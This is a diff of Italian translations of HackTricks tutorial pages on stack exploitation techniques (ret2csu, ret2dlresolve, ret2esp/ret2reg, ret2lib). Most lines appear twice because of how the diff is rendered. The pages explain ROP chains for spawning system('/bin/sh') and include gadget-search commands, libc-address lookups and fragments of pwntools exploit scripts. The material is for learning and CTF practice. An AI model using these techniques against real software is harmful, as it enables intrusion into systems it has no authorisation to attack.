* `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione richiamabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`): * `[r12 + rbx*8]` deve puntare a un indirizzo che memorizza una funzione invocabile (se non si ha idea e non si ha pie, è possibile utilizzare la funzione `_init`):
* Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init: * Se \_init si trova a `0x400560`, utilizzare GEF per cercare un puntatore in memoria ad esso e fare in modo che `[r12 + rbx*8]` sia l'indirizzo con il puntatore a \_init:
```bash ```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
@ -79,7 +80,7 @@ gef➤ search-pattern 0x400560
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici: Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a offset specifici:
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Controlla questa pagina per ulteriori informazioni: Controlla questa pagina per ulteriori informazioni:
@ -96,9 +97,9 @@ Immagina di voler fare una syscall o chiamare una funzione come `write()` ma hai
Ecco dove entra in gioco **ret2csu**: Ecco dove entra in gioco **ret2csu**:
1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15. 1. **Imposta i Registri**: Usa il primo gadget magico per estrarre i valori dallo stack e metterli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
2. **Usa il Secondo Gadget**: Con questi registri impostati, utilizzi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`. 2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti permette di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e inserisci in `[r15 + rbx*8]`.
Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che è stato utilizzato: Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha usato:
```python ```python
from pwn import * from pwn import *
@ -180,4 +181,4 @@ target.interactive()
``` ```
### Perché non utilizzare direttamente libc? ### Perché non utilizzare direttamente libc?
Di solito questi casi sono vulnerabili anche a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare direttamente tutti questi**. Di solito questi casi sono vulnerabili anche a **ret2plt** + **ret2lib**, ma a volte è necessario controllare più parametri di quelli facilmente controllabili con i gadget che si trovano direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri e **potrebbe non essere possibile trovare gadget per impostare tutti questi direttamente**.

View file

@ -1,18 +1,19 @@
# Ret2dlresolve # Ret2dlresolve
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di Base ## Informazioni di Base
@ -22,10 +23,10 @@ La funzione **`_dl_runtime_resolve`** prende dallo stack riferimenti ad alcune s
Pertanto, è possibile **falsificare tutte queste strutture** per fare in modo che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e lo chiami con un parametro configurato (ad esempio **`system('/bin/sh')`**). Pertanto, è possibile **falsificare tutte queste strutture** per fare in modo che il collegamento dinamico risolva il simbolo richiesto (come la funzione **`system`**) e lo chiami con un parametro configurato (ad esempio **`system('/bin/sh')`**).
Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate affinché vengano memorizzate da read in una posizione conosciuta, e quindi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendolo **risolvere l'indirizzo di `system`** nelle strutture fittizie e **chiamando questo indirizzo** con l'indirizzo di `$'/bin/sh'`. Di solito, tutte queste strutture vengono falsificate creando una **catena ROP iniziale che chiama `read`** su una memoria scrivibile, quindi le **strutture** e la stringa **`'/bin/sh'`** vengono passate affinché vengano memorizzate da read in una posizione conosciuta, e quindi la catena ROP continua chiamando **`_dl_runtime_resolve`**, facendogli **risolvere l'indirizzo di `system`** nelle strutture fittizie e **chiamando questo indirizzo** con l'indirizzo di `$'/bin/sh'`.
{% hint style="success" %} {% hint style="success" %}
Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) e non ci sono modi per rilevare gli indirizzi delle librerie. Questa tecnica è particolarmente utile se non ci sono gadget di syscall (per utilizzare tecniche come [**ret2syscall**](rop-syscall-execv/) o [SROP](srop-sigreturn-oriented-programming/)) e non ci sono modi per rilevare gli indirizzi di libc.
{% endhint %} {% endhint %}
Guarda questo video per una spiegazione dettagliata su questa tecnica nella seconda metà del video: Guarda questo video per una spiegazione dettagliata su questa tecnica nella seconda metà del video:
@ -41,9 +42,9 @@ O controlla queste pagine per una spiegazione passo dopo passo:
1. Scrivi strutture fittizie in qualche posizione 1. Scrivi strutture fittizie in qualche posizione
2. Imposta il primo argomento di system (`$rdi = &'/bin/sh'`) 2. Imposta il primo argomento di system (`$rdi = &'/bin/sh'`)
3. Imposta nello stack gli indirizzi delle strutture da chiamare **`_dl_runtime_resolve`** 3. Imposta nello stack gli indirizzi delle strutture per chiamare **`_dl_runtime_resolve`**
4. **Chiama** `_dl_runtime_resolve` 4. **Chiama** `_dl_runtime_resolve`
5. **`system`** sarà risolto e chiamato con `'/bin/sh'` come argomento 5. **`system`** verrà risolto e chiamato con `'/bin/sh'` come argomento
Dalla [**documentazione di pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), così appare un attacco **`ret2dlresolve`**: Dalla [**documentazione di pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), così appare un attacco **`ret2dlresolve`**:
```python ```python
@ -199,4 +200,19 @@ target.interactive()
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) * [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) * [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
* [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html) * [https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/0ctf18\_babystack/index.html)
* 32 bit, senza relro, senza canary, nx, senza pie, buffer overflow di base e ritorno. Per sfruttarlo, il buffer overflow viene utilizzato per chiamare `read` nuovamente con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, ritornare a main e ri-abusare del buffer overflow iniziale per chiamare dlresolve e quindi `system('/bin/sh')`. * 32 bit, nessun relro, nessun canary, nx, nessun pie, buffer overflow di base e ritorno. Per sfruttarlo, il buffer overflow viene utilizzato per chiamare `read` nuovamente con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, ritornare a main e ri-abusare del buffer overflow iniziale per chiamare dlresolve e quindi `system('/bin/sh')`.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Ret2esp / Ret2reg # Ret2esp / Ret2reg
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## **Ret2esp** ## **Ret2esp**
**Poiché l'ESP (Puntatore dello Stack) punta sempre alla cima dello stack**, questa tecnica comporta la sostituzione dell'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, lo shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando l'istruzione `ret` viene eseguita, ESP punta all'indirizzo successivo, precisamente dove lo shellcode è memorizzato. **Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica prevede la sostituzione dell'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. In questo modo, lo shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando l'istruzione `ret` viene eseguita, ESP punta all'indirizzo successivo, precisamente dove lo shellcode è memorizzato.
Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare queste istruzioni all'interno del programma vulnerabile stesso (e potresti dover superare [**PIE**](../common-binary-protections-and-bypasses/pie/)). Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare queste istruzioni all'interno del programma vulnerabile stesso (e potresti dover superare [**PIE**](../common-binary-protections-and-bypasses/pie/)).
@ -33,7 +34,7 @@ E scrivere lo shellcode all'inizio dello stack.
### Esempio ### Esempio
È possibile trovare un esempio di questa tecnica in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit finale come: Puoi trovare un esempio di questa tecnica in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) con un exploit finale come:
```python ```python
from pwn import * from pwn import *
@ -105,8 +106,6 @@ Puoi trovare alcuni esempi qui:&#x20;
### Ret2sp ### Ret2sp
In ARM64 non ci sono istruzioni che consentono di **saltare al registro SP**. Potrebbe essere possibile trovare un gadget che **sposta sp in un registro e poi salta a quel registro**, ma nella libc del mio kali non ho trovato alcun gadget del genere: In ARM64 non ci sono istruzioni che consentono di **saltare al registro SP**. Potrebbe essere possibile trovare un gadget che **sposta sp in un registro e poi salta a quel registro**, ma nella libc del mio kali non ho trovato alcun gadget del genere:
{% code overflow="wrap" %}
```bash ```bash
for i in `seq 1 30`; do for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
@ -114,13 +113,13 @@ done
``` ```
{% endcode %} {% endcode %}
L'unico che ho scoperto cambierebbe il valore del registro dove sp è stato copiato prima di saltarci (quindi diventerebbe inutile): L'unico che ho scoperto cambierebbe il valore del registro in cui è stata copiata sp prima di saltarci (quindi diventerebbe inutile):
<figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg ### Ret2reg
Se un registro ha un indirizzo interessante, è possibile saltarci trovando l'istruzione adeguata. Si potrebbe utilizzare qualcosa del genere: Se un registro ha un indirizzo interessante, è possibile saltarci semplicemente trovando l'istruzione adeguata. Potresti utilizzare qualcosa del genere:
```bash ```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
``` ```
@ -161,7 +160,7 @@ Controllando il disassemblaggio della funzione è possibile vedere che l'**indir
<figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
Utilizzeremo quel gadget per saltarci sopra poiché il binario è compilato **SENZA PIE**. Utilizzando un pattern è possibile vedere che l'**offset del buffer overflow è 80**, quindi l'exploit sarebbe: Utilizzeremo quel gadget per saltarci sopra perché il binario è compilato **SENZA PIE.** Utilizzando un pattern è possibile vedere che l'**offset del buffer overflow è 80**, quindi l'exploit sarebbe:
```python ```python
from pwn import * from pwn import *
@ -184,23 +183,24 @@ Con `fgets` non funziona perché **aggiunge un byte nullo (0x00) alla fine**.
## Protezioni ## Protezioni
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo inserire il codice shell nello stack e saltare per eseguirlo. * [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo inserire il codice shell nello stack e saltare per eseguirlo.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste possono rendere più difficile trovare un'istruzione su cui saltare per raggiungere esp o qualsiasi altro registro. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Queste possono rendere più difficile trovare un'istruzione a cui saltare per raggiungere esp o qualsiasi altro registro.
## Riferimenti ## Riferimenti
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
* [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) * [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2lib # Ret2lib
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a ero con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Informazioni di Base** ## **Informazioni di Base**
@ -25,7 +26,7 @@ L'essenza di **Ret2Libc** è quella di reindirizzare il flusso di esecuzione di
## Trovare gli indirizzi ## Trovare gli indirizzi
* Supponendo che la `libc` utilizzata sia quella della macchina corrente, puoi trovare dove verrà caricata in memoria con: * Supponendo che la `libc` utilizzata sia quella della macchina corrente, è possibile trovare dove verrà caricata in memoria con:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -37,7 +38,7 @@ Se vuoi verificare se l'ASLR sta cambiando l'indirizzo di libc, puoi fare:
```bash ```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
``` ```
* Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset alla funzione `system` con: * Sapendo quale libc viene utilizzato, è anche possibile trovare l'offset della funzione `system` con:
```bash ```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
``` ```
@ -53,9 +54,9 @@ p system
p exit p exit
find "/bin/sh" find "/bin/sh"
``` ```
### Usando /proc/\<PID>/maps ### Utilizzo di /proc/\<PID>/maps
Se il processo crea **figli** ogni volta che si comunica con esso (server di rete) prova a **leggere** quel file (probabilmente avrai bisogno dei permessi di root). Se il processo crea **figli** ogni volta che si comunica con esso (server di rete) prova a **leggere** quel file (probabilmente avrai bisogno dei privilegi di root).
Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo. Qui puoi trovare **esattamente dove è caricata la libc** all'interno del processo e **dove verrà caricata** per ogni figlio del processo.
@ -65,7 +66,7 @@ In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo di base d
## Libreria libc sconosciuta ## Libreria libc sconosciuta
Potrebbe essere possibile che **non conosci la libc caricata** dal binario (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per **ottenere informazioni su alcuni indirizzi e scoprire quale libreria libc** viene utilizzata: Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi in un server a cui non hai accesso). In tal caso potresti sfruttare la vulnerabilità per **rilevare alcuni indirizzi e trovare quale libreria libc** viene utilizzata:
{% content-ref url="rop-leaking-libc-address/" %} {% content-ref url="rop-leaking-libc-address/" %}
[rop-leaking-libc-address](rop-leaking-libc-address/) [rop-leaking-libc-address](rop-leaking-libc-address/)
@ -93,7 +94,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
## One Gadget ## One Gadget
Esegui una shell saltando direttamente a **un** specifico **indirizzo** nella `libc`: Esegui una shell saltando semplicemente a **un** specifico **indirizzo** nella `libc`:
{% content-ref url="one-gadget.md" %} {% content-ref url="one-gadget.md" %}
[one-gadget.md](one-gadget.md) [one-gadget.md](one-gadget.md)
@ -101,7 +102,7 @@ Esegui una shell saltando direttamente a **un** specifico **indirizzo** nella `l
## Esempio di Codice x86 Ret2lib ## Esempio di Codice x86 Ret2lib
In questo esempio, il brute-force di ASLR è integrato nel codice e il binario vulnerabile è situato su un server remoto: In questo esempio, la forzatura dell'ASLR è integrata nel codice e il binario vulnerabile è situato in un server remoto:
```python ```python
from pwn import * from pwn import *
@ -139,7 +140,7 @@ Controlla l'esempio da:
## Ret-into-printf (o puts) ## Ret-into-printf (o puts)
Questo permette di **rilevare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posizionati come argomento. Ad esempio, mettendo l'indirizzo di `puts` nel GOT in una chiamata a `puts` permetterà di **rilevare l'indirizzo di `puts` in memoria**. Questo permette di **rivelare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettendo l'indirizzo di `puts` nella GOT in una chiamata a `puts` si **rivelerebbe l'indirizzo di `puts` in memoria**.
## Ret2printf ## Ret2printf
@ -154,12 +155,12 @@ Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in un
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
* Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget * Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
